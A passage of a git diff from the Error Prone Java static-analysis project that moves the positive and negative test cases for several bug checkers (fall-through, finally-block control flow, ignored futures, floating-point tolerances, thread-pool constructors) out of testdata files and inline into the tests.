MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new PriorityBlockingQueue<>()); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new PriorityBlockingQueue<>(initialTasks)); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new PriorityBlockingQueue<>(initialCapacity)); + // BUG: Diagnostic contains: ErroneousThreadPoolConstructorChecker + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new PriorityBlockingQueue<>(initialCapacity, comparingInt(Object::hashCode))); + } +}""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/ErroneousThreadPoolConstructorCheckerNegativeCases.java") + .addSourceLines( + "ErroneousThreadPoolConstructorCheckerNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static java.util.concurrent.TimeUnit.SECONDS; + +import java.util.Collection; +import java.util.concurrent.ArrayBlockingQueue; +import java.util.concurrent.LinkedBlockingDeque; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.SynchronousQueue; +import java.util.concurrent.ThreadPoolExecutor; + +/** + * Negative test cases for {@link + * com.google.errorprone.bugpatterns.ErroneousThreadPoolConstructorChecker} bug pattern. + */ +final class ErroneousThreadPoolConstructorCheckerNegativeCases { + + private static final int CORE_POOL_SIZE = 10; + private static final int MAXIMUM_POOL_SIZE = 20; + private static final long KEEP_ALIVE_TIME = 60; + + private void createThreadPoolWithUnboundedQueue() { + new ThreadPoolExecutor( + MAXIMUM_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingQueue<>()); + } + + private void createThreadPoolWithUnboundedQueueAndEmptyPool() { + new ThreadPoolExecutor(0, 1, KEEP_ALIVE_TIME, SECONDS, new LinkedBlockingQueue<>()); + } + + private void createThreadPoolWithBoundedArrayBlockingQueue( + int initialCapacity, boolean fair, Collection initialTasks) { + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new ArrayBlockingQueue<>(initialCapacity)); + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new ArrayBlockingQueue<>(initialCapacity, fair)); + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new ArrayBlockingQueue<>(initialCapacity, fair, initialTasks)); + } + + private void createThreadPoolWithBoundedLinkedBlockingQueue(int capacity) { + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingQueue<>(capacity)); + } + + private void createThreadPoolWithBoundedLinkedBlockingDeque(int capacity) { + new ThreadPoolExecutor( + CORE_POOL_SIZE, + MAXIMUM_POOL_SIZE, + KEEP_ALIVE_TIME, + SECONDS, + new LinkedBlockingDeque<>(capacity)); + } + + private void createThreadPoolWithBoundedSynchronousQueue() { + new ThreadPoolExecutor( + CORE_POOL_SIZE, MAXIMUM_POOL_SIZE, KEEP_ALIVE_TIME, SECONDS, new SynchronousQueue<>()); + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FallThroughTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FallThroughTest.java index d6d06a3a89a..7d2eb947a1f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FallThroughTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FallThroughTest.java @@ -33,12 +33,239 @@ public class FallThroughTest { @Test public void positive() { - testHelper.addSourceFile("testdata/FallThroughPositiveCases.java").doTest(); + testHelper + .addSourceLines( + "FallThroughPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class FallThroughPositiveCases { + + class NonTerminatingTryFinally { + + public int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + if (z > 0) { + return i; + } else { + z++; + } + } finally { + z++; + } + // BUG: Diagnostic contains: + case 1: + return -1; + default: + return 0; + } + } + } + + abstract class TryWithNonTerminatingCatch { + + int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + return bar(); + } catch (RuntimeException e) { + log(e); + throw e; + } catch (Exception e) { + log(e); // don't throw + } + // BUG: Diagnostic contains: + case 1: + return -1; + default: + return 0; + } + } + + abstract int bar() throws Exception; + + void log(Throwable e) {} + } + + public class Tweeter { + + public int numTweets = 55000000; + + public int everyBodyIsDoingIt(int a, int b) { + switch (a) { + case 1: + System.out.println("1"); + // BUG: Diagnostic contains: + case 2: + System.out.println("2"); + // BUG: Diagnostic contains: + default: + } + return 0; + } + } + }""") + .doTest(); } @Test public void negative() { - testHelper.addSourceFile("testdata/FallThroughNegativeCases.java").doTest(); + testHelper + .addSourceLines( + "FallThroughNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.FileInputStream; + import java.io.IOException; + + public class FallThroughNegativeCases { + + public class AllowAnyComment { + + public int numTweets = 55000000; + + public int everyBodyIsDoingIt(int a, int b) { + switch (a) { + case 1: + System.out.println("1"); + // fall through + case 2: + System.out.println("2"); + break; + default: + } + return 0; + } + } + + static class EmptyDefault { + + static void foo(String s) { + switch (s) { + case "a": + case "b": + throw new RuntimeException(); + default: + // do nothing + } + } + + static void bar(String s) { + switch (s) { + default: + } + } + } + + class TerminatedSynchronizedBlock { + + private final Object o = new Object(); + + int foo(int i) { + switch (i) { + case 0: + synchronized (o) { + return i; + } + case 1: + return -1; + default: + return 0; + } + } + } + + class TryWithNonTerminatingFinally { + + int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + return i; + } finally { + z++; + } + case 1: + return -1; + default: + return 0; + } + } + } + + abstract class TryWithTerminatingCatchBlocks { + + int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + return bar(); + } catch (RuntimeException e) { + log(e); + throw e; + } catch (Exception e) { + log(e); + throw new RuntimeException(e); + } + case 1: + return -1; + default: + return 0; + } + } + + int tryWithResources(String path, int i) { + switch (i) { + case 0: + try (FileInputStream f = new FileInputStream(path)) { + return f.read(); + } catch (IOException e) { + throw new RuntimeException(e); + } + case 1: + try (FileInputStream f = new FileInputStream(path)) { + return f.read(); + } catch (IOException e) { + throw new RuntimeException(e); + } + default: + throw new RuntimeException("blah"); + } + } + + abstract int bar() throws Exception; + + void log(Throwable e) {} + } + + class TryWithTerminatingFinally { + + int foo(int i) { + int z = 0; + switch (i) { + case 0: + try { + z++; + } finally { + return i; + } + case 1: + return -1; + default: + return 0; + } + } + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FinallyTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FinallyTest.java index 4ebde3e5fb6..b00d773ed64 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FinallyTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FinallyTest.java @@ -32,22 +32,424 @@ public class FinallyTest { @Test public void positiveCase1() { - compilationHelper.addSourceFile("testdata/FinallyPositiveCase1.java").doTest(); + compilationHelper + .addSourceLines( + "FinallyPositiveCase1.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +/** + * When a finally statement is exited because of a return, throw, break, or continue statement, + * unintuitive behaviour can occur. Consider: + * + *

+ * {@code
+ * finally foo() {
+ *   try {
+ *     return true;
+ *   } finally {
+ *     return false;
+ *   }
+ * }
+ * 
+ * + * Because the finally block always executes, the first return statement has no effect and the + * method will return false. + * + * @author eaftan@google.com (Eddie Aftandilian) + * @author cushon@google.com (Liam Miller-Cushon) + */ +public class FinallyPositiveCase1 { + + public static void test1() { + while (true) { + try { + } finally { + // BUG: Diagnostic contains: + break; + } + } + } + + public static void test2() { + while (true) { + try { + } finally { + // BUG: Diagnostic contains: + continue; + } + } + } + + public static void test3() { + try { + } finally { + // BUG: Diagnostic contains: + return; + } + } + + public static void test4() throws Exception { + try { + } finally { + // BUG: Diagnostic contains: + throw new Exception(); + } + } + + /** + * break statement jumps to outer labeled while, not inner one. + */ + public void test5() { + label: + while (true) { + try { + } finally { + while (true) { + // BUG: Diagnostic contains: + break label; + } + } + } + } + + /** + * continue statement jumps to outer labeled for, not inner one. + */ + public void test6() { + label: + for (;;) { + try { + } finally { + for (;;) { + // BUG: Diagnostic contains: + continue label; + } + } + } + } + + /** + * continue statement jumps to while, not switch. + */ + public void test7() { + int i = 10; + while (true) { + try { + } finally { + switch (i) { + case 10: + // BUG: Diagnostic contains: + continue; + } + } + } + } + + public void test8() { + try { + } finally { + // BUG: Diagnostic contains: + { { { { { { { { { { return; } } } } } } } } } } + } + } + + // Don't assume that completion statements occur inside methods: + static boolean flag = false; + static { + while (flag) { + try { + } finally { + // BUG: Diagnostic contains: + break; + } + } + } +}""") + .doTest(); } @Test public void positiveCase2() { - compilationHelper.addSourceFile("testdata/FinallyPositiveCase2.java").doTest(); + compilationHelper + .addSourceLines( + "FinallyPositiveCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + + /** + * @author cushon@google.com (Liam Miller-Cushon) + */ + public class FinallyPositiveCase2 { + public void completeWithReturn(boolean flag) { + try { + + } finally { + // BUG: Diagnostic contains: + return; + } + } + + public void completeWithThrow(boolean flag) throws Exception { + try { + + } finally { + // BUG: Diagnostic contains: + throw new Exception(); + } + } + + public void unreachableThrow(boolean flag) throws Exception { + try { + + } finally { + if (flag) { + // BUG: Diagnostic contains: + throw new Exception(); + } + } + } + + public void nestedBlocks(int i, boolean flag) throws Exception { + try { + + } finally { + switch (i) { + default: + { + while (flag) { + do { + if (flag) { + } else { + // BUG: Diagnostic contains: + throw new Exception(); + } + } while (flag); + } + } + } + } + } + + public void nestedFinally() throws Exception { + try { + + } finally { + try { + } finally { + // BUG: Diagnostic contains: + throw new IOException(); + } + } + } + + public void returnFromTryNestedInFinally() { + try { + } finally { + try { + // BUG: Diagnostic contains: + return; + } finally { + } + } + } + + public void returnFromCatchNestedInFinally() { + try { + } finally { + try { + } catch (Exception e) { + // BUG: Diagnostic contains: + return; + } finally { + } + } + } + + public void throwUncaughtFromNestedTryInFinally() throws Exception { + try { + } finally { + try { + // BUG: Diagnostic contains: + throw new Exception(); + } finally { + } + } + } + + public void throwFromNestedCatchInFinally() throws Exception { + try { + } finally { + try { + } catch (Exception e) { + // BUG: Diagnostic contains: + throw new Exception(); + } finally { + } + } + } + }""") + .doTest(); } @Test public void negativeCase1() { - compilationHelper.addSourceFile("testdata/FinallyNegativeCase1.java").doTest(); + compilationHelper + .addSourceLines( + "FinallyNegativeCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class FinallyNegativeCase1 { + + public static void test1() { + while (true) { + try { + break; + } finally { + } + } + } + + public static void test2() { + while (true) { + try { + continue; + } finally { + } + } + } + + public static void test3() { + try { + return; + } finally { + } + } + + public static void test4() throws Exception { + try { + throw new Exception(); + } catch (Exception e) { + } finally { + } + } + + /** break inner loop. */ + public void test5() { + label: + while (true) { + try { + } finally { + while (true) { + break; + } + } + } + } + + /** continue statement jumps out of inner for. */ + public void test6() { + label: + for (; ; ) { + try { + } finally { + for (; ; ) { + continue; + } + } + } + } + + /** break statement jumps out of switch. */ + public void test7() { + int i = 10; + while (true) { + try { + } finally { + switch (i) { + case 10: + break; + } + } + } + } + }""") + .doTest(); } @Test public void negativeCase2() { - compilationHelper.addSourceFile("testdata/FinallyNegativeCase2.java").doTest(); + compilationHelper + .addSourceLines( + "FinallyNegativeCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + + /** + * @author cushon@google.com (Liam Miller-Cushon) + */ + public class FinallyNegativeCase2 { + public void test1(boolean flag) { + try { + return; + } finally { + } + } + + public void test2() throws Exception { + try { + } catch (Exception e) { + throw new Exception(); + } finally { + } + } + + public void returnInAnonymousClass(boolean flag) { + try { + } finally { + new Object() { + void foo() { + return; + } + }; + } + } + + public void throwFromNestedTryInFinally() throws Exception { + try { + } finally { + try { + throw new Exception(); + } catch (Exception e) { + } finally { + } + } + } + + public void nestedTryInFinally2() throws Exception { + try { + } finally { + try { + // This exception will propagate out through the enclosing finally, + // but we don't do exception analysis and have no way of knowing that. + // Xlint:finally doesn't handle this either, since it only reports + // situations where the end of a finally block is unreachable as + // defined by JLS 14.21. + throw new IOException(); + } catch (Exception e) { + } + } + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FloatingPointAssertionWithinEpsilonTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FloatingPointAssertionWithinEpsilonTest.java index a2013289e38..e44212ff07b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FloatingPointAssertionWithinEpsilonTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FloatingPointAssertionWithinEpsilonTest.java @@ -36,14 +36,116 @@ public final class FloatingPointAssertionWithinEpsilonTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java") + .addSourceLines( + "FloatingPointAssertionWithinEpsilonPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static org.junit.Assert.assertEquals; + + /** + * Positive test cases for FloatingPointAssertionWithinEpsilon check. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class FloatingPointAssertionWithinEpsilonPositiveCases { + + private static final float TOLERANCE = 1e-10f; + private static final double TOLERANCE2 = 1e-20f; + private static final float VALUE = 1; + + public void testFloat() { + // BUG: Diagnostic contains: 6.0e-08 + assertThat(1.0f).isWithin(1e-20f).of(1.0f); + // BUG: Diagnostic contains: 6.0e-08 + assertThat(1f).isWithin(TOLERANCE).of(VALUE); + // BUG: Diagnostic contains: 1.0e+03 + assertThat(1e10f).isWithin(1).of(1e10f); + + // BUG: Diagnostic contains: 1.2e-07 + assertThat(1f).isNotWithin(1e-10f).of(2); + + // BUG: Diagnostic contains: 6.0e-08 + assertEquals(1f, 1f, TOLERANCE); + // BUG: Diagnostic contains: 6.0e-08 + assertEquals("equal!", 1f, 1f, TOLERANCE); + } + + public void testDouble() { + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(1e-20).of(1.0); + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(TOLERANCE2).of(1.0f); + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(TOLERANCE2).of(1); + // BUG: Diagnostic contains: 1.6e+04 + assertThat(1e20).isWithin(1).of(1e20); + + // BUG: Diagnostic contains: 1.4e-17 + assertThat(0.1).isNotWithin(TOLERANCE2).of(0.1f); + + // BUG: Diagnostic contains: 1.1e-16 + assertEquals(1.0, 1.0, TOLERANCE2); + // BUG: Diagnostic contains: 1.1e-16 + assertEquals("equal!", 1.0, 1.0, TOLERANCE2); + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/FloatingPointAssertionWithinEpsilonNegativeCases.java") + .addSourceLines( + "FloatingPointAssertionWithinEpsilonNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static org.junit.Assert.assertEquals; + + /** + * Negative test cases for FloatingPointAssertionWithinEpsilon check. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class FloatingPointAssertionWithinEpsilonNegativeCases { + + private static final float TOLERANCE = 1e-5f; + private static final double TOLERANCE2 = 1e-10f; + private static final float VALUE = 1; + + public void testFloat() { + String test = Boolean.TRUE.toString(); + assertThat(1.0f).isWithin(1e-5f).of(1.0f); + assertThat(1f).isWithin(TOLERANCE).of(VALUE); + assertThat(1f).isWithin(1).of(1); + + assertThat(1f).isNotWithin(0).of(2f); + + assertThat(1f).isNotWithin(.5f).of(2f); + + assertEquals(1f, 1f, TOLERANCE); + } + + public void testDouble() { + String test = Boolean.TRUE.toString(); + assertThat(1.0).isWithin(1e-10).of(1.0); + assertThat(1.0).isWithin(TOLERANCE2).of(1f); + assertThat(1.0).isWithin(TOLERANCE2).of(1); + + assertEquals(1.0, 1.0, TOLERANCE); + } + + public void testZeroCases() { + assertThat(1.0).isWithin(0.0).of(1.0); + assertThat(1f).isWithin(0f).of(1f); + assertThat(1f).isWithin(0).of(1f); + + assertEquals(1f, 1f, 0f); + } + }""") .doTest(); } @@ -51,8 +153,99 @@ public void negativeCase() { public void fixes() { BugCheckerRefactoringTestHelper.newInstance( FloatingPointAssertionWithinEpsilon.class, getClass()) - .addInput("testdata/FloatingPointAssertionWithinEpsilonPositiveCases.java") - .addOutput("testdata/FloatingPointAssertionWithinEpsilonPositiveCases_expected.java") + .addInputLines( + "FloatingPointAssertionWithinEpsilonPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static org.junit.Assert.assertEquals; + + /** + * Positive test cases for FloatingPointAssertionWithinEpsilon check. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class FloatingPointAssertionWithinEpsilonPositiveCases { + + private static final float TOLERANCE = 1e-10f; + private static final double TOLERANCE2 = 1e-20f; + private static final float VALUE = 1; + + public void testFloat() { + // BUG: Diagnostic contains: 6.0e-08 + assertThat(1.0f).isWithin(1e-20f).of(1.0f); + // BUG: Diagnostic contains: 6.0e-08 + assertThat(1f).isWithin(TOLERANCE).of(VALUE); + // BUG: Diagnostic contains: 1.0e+03 + assertThat(1e10f).isWithin(1).of(1e10f); + + // BUG: Diagnostic contains: 1.2e-07 + assertThat(1f).isNotWithin(1e-10f).of(2); + + // BUG: Diagnostic contains: 6.0e-08 + assertEquals(1f, 1f, TOLERANCE); + // BUG: Diagnostic contains: 6.0e-08 + assertEquals("equal!", 1f, 1f, TOLERANCE); + } + + public void testDouble() { + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(1e-20).of(1.0); + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(TOLERANCE2).of(1.0f); + // BUG: Diagnostic contains: 1.1e-16 + assertThat(1.0).isWithin(TOLERANCE2).of(1); + // BUG: Diagnostic contains: 1.6e+04 + assertThat(1e20).isWithin(1).of(1e20); + + // BUG: Diagnostic contains: 1.4e-17 + assertThat(0.1).isNotWithin(TOLERANCE2).of(0.1f); + + // BUG: Diagnostic contains: 1.1e-16 + assertEquals(1.0, 1.0, TOLERANCE2); + // BUG: Diagnostic contains: 1.1e-16 + assertEquals("equal!", 1.0, 1.0, TOLERANCE2); + } + }""") + .addOutputLines( + "FloatingPointAssertionWithinEpsilonPositiveCases_expected.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static org.junit.Assert.assertEquals; + + /** + * Expected refactoring output for FloatingPointAssertionWithinEpsilon bugpattern. + * + * @author ghm@google.com (Graeme Morgan) + */ + final class FloatingPointAssertionWithinEpsilonPositiveCases { + + private static final float TOLERANCE = 1e-10f; + private static final double TOLERANCE2 = 1e-20f; + private static final float VALUE = 1; + + public void testFloat() { + assertThat(1.0f).isEqualTo(1.0f); + assertThat(1f).isEqualTo(VALUE); + assertThat(1e10f).isEqualTo(1e10f); + assertThat(1f).isNotEqualTo(2f); + assertEquals(1f, 1f, 0); + assertEquals("equal!", 1f, 1f, 0); + } + + public void testDouble() { + assertThat(1.0).isEqualTo(1.0); + assertThat(1.0).isEqualTo(1.0); + assertThat(1.0).isEqualTo(1d); + assertThat(1e20).isEqualTo(1e20); + assertThat(0.1).isNotEqualTo((double) 0.1f); + assertEquals(1.0, 1.0, 0); + assertEquals("equal!", 1.0, 1.0, 0); + } + }""") .doTest(TestMode.AST_MATCH); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FunctionalInterfaceMethodChangedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FunctionalInterfaceMethodChangedTest.java index 4db70ebb6d9..16861402b2e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FunctionalInterfaceMethodChangedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FunctionalInterfaceMethodChangedTest.java @@ -33,14 +33,177 @@ public class FunctionalInterfaceMethodChangedTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/FunctionalInterfaceMethodChangedPositiveCases.java") + .addSourceLines( + "FunctionalInterfaceMethodChangedPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class FunctionalInterfaceMethodChangedPositiveCases { + @FunctionalInterface + interface SuperFI { + void superSam(); + } + + @FunctionalInterface + interface OtherSuperFI { + void otherSuperSam(); + } + + @FunctionalInterface + interface SubFI extends SuperFI { + void subSam(); + + @Override + // BUG: Diagnostic contains: + default void superSam() { + subSam(); + System.out.println("do something else"); + } + } + + @FunctionalInterface + interface MultipleInheritanceSubFIOneBad extends SuperFI, OtherSuperFI { + void subSam(); + + @Override + default void superSam() { + subSam(); + } + + @Override + // BUG: Diagnostic contains: + default void otherSuperSam() { + subSam(); + System.out.println("do something else"); + } + } + + @FunctionalInterface + interface MultipleInheritanceSubFIBothBad extends SuperFI, OtherSuperFI { + void subSam(); + + @Override + // BUG: Diagnostic contains: + default void superSam() { + superSam(); + System.out.println("do something else"); + } + + @Override + // BUG: Diagnostic contains: + default void otherSuperSam() { + subSam(); + System.out.println("do something else"); + } + } + + @FunctionalInterface + interface ValueReturningSuperFI { + String superSam(); + } + + @FunctionalInterface + interface ValueReturningSubFI extends ValueReturningSuperFI { + String subSam(); + + @Override + // BUG: Diagnostic contains: + default String superSam() { + System.out.println("do something else"); + return subSam(); + } + } + + @FunctionalInterface + public interface ValueReturningSubFI2 extends ValueReturningSuperFI { + + String subSam(); + + @Override + // BUG: Diagnostic contains: + default String superSam() { + subSam(); + return null; + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/FunctionalInterfaceMethodChangedNegativeCases.java") + .addSourceLines( + "FunctionalInterfaceMethodChangedNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.concurrent.Callable; + + public class FunctionalInterfaceMethodChangedNegativeCases { + @FunctionalInterface + interface SuperFI { + void superSam(); + } + + @FunctionalInterface + interface OtherSuperFI { + void otherSuperSam(); + } + + @FunctionalInterface + interface SubFI extends SuperFI { + void subSam(); + + @Override + default void superSam() { + subSam(); + } + } + + @FunctionalInterface + interface MultipleInheritanceSubFI extends SuperFI, OtherSuperFI { + void subSam(); + + @Override + default void superSam() { + subSam(); + } + + @Override + default void otherSuperSam() { + subSam(); + } + } + + @FunctionalInterface + interface ValueReturningSuperFI { + String superSam(); + } + + @FunctionalInterface + interface ValueReturningSubFI extends ValueReturningSuperFI { + String subSam(); + + @Override + default String superSam() { + return subSam(); + } + } + + // Regression test for b/68075767 + @FunctionalInterface + public interface VoidCallable extends Callable { + + void voidCall() throws Exception; + + @Override + default Void call() throws Exception { + voidCall(); + return null; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/FutureReturnValueIgnoredTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/FutureReturnValueIgnoredTest.java index 64d9fd24437..6f8d626217c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/FutureReturnValueIgnoredTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/FutureReturnValueIgnoredTest.java @@ -32,12 +32,517 @@ public class FutureReturnValueIgnoredTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/FutureReturnValueIgnoredPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "FutureReturnValueIgnoredPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.util.concurrent.Futures.immediateFuture; + +import com.google.common.base.Function; +import com.google.common.util.concurrent.Futures; +import com.google.common.util.concurrent.ListenableFuture; +import java.util.concurrent.Executor; +import java.util.concurrent.Future; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class FutureReturnValueIgnoredPositiveCases { + + IntValue intValue = new IntValue(0); + + private static Future increment(int bar) { + return null; + } + + public T returnFutureType(T input) { + return input; + } + + public void testFutureGenerics() { + // BUG: Diagnostic contains: Future must be checked + returnFutureType(Futures.immediateCancelledFuture()); + } + + public void foo() { + int i = 1; + // BUG: Diagnostic contains: Future must be checked + increment(i); + System.out.println(i); + } + + public void bar() { + // BUG: Diagnostic contains: Future must be checked + this.intValue.increment(); + } + + public void testIntValue() { + IntValue value = new IntValue(10); + // BUG: Diagnostic contains: Future must be checked + value.increment(); + } + + public void testFunction() { + new Function>() { + @Override + public ListenableFuture apply(Object input) { + return immediateFuture(null); + } + // BUG: Diagnostic contains: Future must be checked + }.apply(null); + } + + private class IntValue { + + final int i; + + public IntValue(int i) { + this.i = i; + } + + public ListenableFuture increment() { + return immediateFuture(new IntValue(i + 1)); + } + + public void increment2() { + // BUG: Diagnostic contains: Future must be checked + this.increment(); + } + + public void increment3() { + // BUG: Diagnostic contains: Future must be checked + increment(); + } + } + + static ListenableFuture transform( + ListenableFuture input, Function function, Executor executor) { + return null; + } + + static ListenableFuture futureReturningMethod() { + return null; + } + + static ListenableFuture futureReturningMethod(Object unused) { + return null; + } + + static void consumesFuture(Future future) {} + + static void testIgnoredFuture() throws Exception { + ListenableFuture input = null; + // BUG: Diagnostic contains: nested type + Future output = transform(input, foo -> futureReturningMethod(), runnable -> runnable.run()); + + Future otherOutput = + // BUG: Diagnostic contains: nested type + transform( + input, + new Function>() { + @Override + public ListenableFuture apply(String string) { + return futureReturningMethod(); + } + }, + runnable -> runnable.run()); + + // BUG: Diagnostic contains: nested type + transform( + input, + new Function>() { + @Override + public ListenableFuture apply(String string) { + return futureReturningMethod(); + } + }, + runnable -> runnable.run()) + .get(); + + consumesFuture( + // BUG: Diagnostic contains: nested type + transform( + input, + new Function>() { + @Override + public ListenableFuture apply(String string) { + System.out.println("First generics"); + return futureReturningMethod(); + } + }, + runnable -> runnable.run())); + + consumesFuture( + transform( + input, + new Function() { + @Override + public Object apply(String string) { + // BUG: Diagnostic contains: returned future may be ignored + return futureReturningMethod(); + } + }, + runnable -> runnable.run())); + consumesFuture( + transform( + input, + new Function() { + @Override + public Object apply(String string) { + Future result = futureReturningMethod(); + // BUG: Diagnostic contains: returned future may be ignored + return result; + } + }, + runnable -> runnable.run())); + + consumesFuture( + // BUG: Diagnostic contains: nested type + transform(input, foo -> futureReturningMethod(), runnable -> runnable.run())); + + consumesFuture( + // BUG: Diagnostic contains: nested type + transform( + input, + foo -> { + return futureReturningMethod(); + }, + runnable -> runnable.run())); + + consumesFuture( + // BUG: Diagnostic contains: nested type + transform( + input, + FutureReturnValueIgnoredPositiveCases::futureReturningMethod, + runnable -> runnable.run())); + + ListenableFuture done = + transform( + // BUG: Diagnostic contains: nested type + transform( + input, + new Function>() { + @Override + public ListenableFuture apply(String string) { + return futureReturningMethod(); + } + }, + runnable -> runnable.run()), + new Function() { + @Override + public Object apply(Object string) { + return new Object(); + } + }, + runnable -> runnable.run()); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/FutureReturnValueIgnoredNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "FutureReturnValueIgnoredNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import static com.google.common.util.concurrent.Futures.immediateFuture; +import static com.google.common.util.concurrent.MoreExecutors.directExecutor; +import static org.junit.Assert.assertThrows; +import static org.mockito.Mockito.doAnswer; + +import com.google.common.base.Function; +import com.google.common.base.Functions; +import com.google.common.base.Preconditions; +import com.google.common.base.Predicate; +import com.google.common.base.Supplier; +import com.google.common.base.Ticker; +import com.google.common.reflect.AbstractInvocationHandler; +import com.google.common.util.concurrent.AbstractFuture; +import com.google.common.util.concurrent.AsyncFunction; +import com.google.common.util.concurrent.CheckedFuture; +import com.google.common.util.concurrent.Futures; +import com.google.common.util.concurrent.ListenableFuture; +import com.google.errorprone.annotations.CanIgnoreReturnValue; +import io.netty.channel.ChannelFuture; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.concurrent.Callable; +import java.util.concurrent.Executor; +import java.util.concurrent.ExecutorCompletionService; +import java.util.concurrent.ForkJoinTask; +import java.util.concurrent.Future; +import java.util.concurrent.FutureTask; +import java.util.concurrent.RecursiveAction; +import java.util.concurrent.ScheduledExecutorService; +import org.junit.function.ThrowingRunnable; +import org.mockito.invocation.InvocationOnMock; +import org.mockito.stubbing.Answer; + +/** */ +public class FutureReturnValueIgnoredNegativeCases { + + public FutureReturnValueIgnoredNegativeCases() {} + + static ListenableFuture getFuture() { + return immediateFuture(null); + } + + interface CanIgnoreMethod { + @CanIgnoreReturnValue + Future getFuture(); + } + + public static class CanIgnoreImpl implements CanIgnoreMethod { + @Override + public Future getFuture() { + return null; + } + } + + static void callIgnoredInterfaceMethod() { + new CanIgnoreImpl().getFuture(); + } + + @CanIgnoreReturnValue + static ListenableFuture getFutureIgnore() { + return immediateFuture(null); + } + + static void putInMap() { + Map> map = new HashMap<>(); + map.put(new Object(), immediateFuture(null)); + Map map2 = new HashMap(); + map2.put(new Object(), immediateFuture(null)); + } + + static void preconditions() + throws NoSuchMethodException, InvocationTargetException, 